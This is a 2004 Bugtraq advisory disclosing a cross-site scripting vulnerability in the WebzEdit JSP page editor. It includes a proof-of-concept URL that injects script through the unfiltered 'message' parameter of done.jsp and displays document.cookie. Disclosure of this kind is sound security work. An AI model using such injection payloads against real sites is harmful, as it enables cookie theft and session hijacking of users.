[33911] in bugtraq
Cross Site Scripting in WebzEdit
daemon@ATHENA.MIT.EDU (Cheng Peng Su)
Mon Feb 23 17:11:07 2004
Date: 21 Feb 2004 15:13:30 -0000
Message-ID: <20040221151330.31151.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Cheng Peng Su <apple_soup@msn.com>
To: bugtraq@securityfocus.com
Title:Cross Site Scripting in WebzEdit
Release Date: Feb 22,2004
Application: WebzEdit
Version Affected: 1.9 or lower
Platform: JSP
Severity: Low
Discover: Cheng Peng Su(apple_soup[at]msn.com)
Vendor URL: http://www.freewebs.com/
################################################
Intro:
WebzEdit is a tool to edit web page online.
Proof Of Concept:
This page (http://host/WebzEdit/done.jsp?message=index.htm%20has%20been%20saved.) will show you a Message box with "index.htm has been saved." , and the [done.jsp] doesn't filter out illegal characters.
So here is a XSS vuln:
URL:http://host/WebzEdit/done.jsp?message=');[XSS code];a=escape('
Exploit:
URL:http://host/WebzEdit/done.jsp?message=');alert(document.cookie);a=escape('
----------------------------------------------------------
Cheng Peng Su
Class 1,Senior 2,High school attached to Wuhan University,
Wuhan,Hubei,China
email:apple_soup[at]msn.com
